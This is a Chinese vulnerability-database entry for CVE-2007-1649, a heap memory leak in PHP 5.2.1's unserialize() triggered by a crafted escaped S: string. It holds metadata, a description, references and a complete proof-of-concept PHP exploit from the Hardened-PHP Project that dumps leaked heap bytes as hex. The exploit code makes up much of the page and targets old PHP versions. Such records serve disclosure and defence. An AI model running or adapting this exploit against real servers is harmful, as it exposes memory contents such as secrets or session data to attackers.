PHP S数据类型序列化格式堆信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112525 漏洞类型 未知
发布时间 2007-03-23 更新时间 2007-03-26
CVE编号 CVE-2007-1649 CNNVD-ID CNNVD-200703-601
漏洞平台 Multiple CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/3559
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-601
|漏洞详情
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。PHP的unserialize()函数在还原序列化特制的S:数据类型时存在错误,本地攻击者可能利用此漏洞访问到内存信息。例如,在还原以下转义字符串时:S:10:"\55\44APXY"上述例子不会返回6字节的字符串,而是10字节或错误,因为还原序列化不会在处理10个输入字节时停止而是在写出10个输出字节时才会停止。如果下一个字节是"""字符的话,这就会导致泄漏最后一个实际输出字节与"""之间的内存。
|漏洞EXP
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP 5.2.1 unserialize() Information Leak Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");
  
  
  
  
  $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
  $arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);

  $heapdump = unserialize($str);
  
  
  
  
  echo "Heapdump\n---------\n\n";
  
  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-23]
|参考资料

来源:MISC
链接:http://www.php-security.org/MOPB/MOPB-29-2007.html
来源:XF
名称:php-unserialize-information-disclosure(33170)
链接:http://xforce.iss.net/xforce/xfdb/33170
来源:BID
名称:23105
链接:http://www.securityfocus.com/bid/23105
来源:MANDRIVA
名称:MDVSA-2008:126
链接:http://www.mandriva.com/security/advisories?name=MDVSA-2008:126
来源:us2.php.net
链接:http://us2.php.net/releases/5_2_2.php
来源:SECUNIA
名称:24630
链接:http://secunia.com/advisories/24630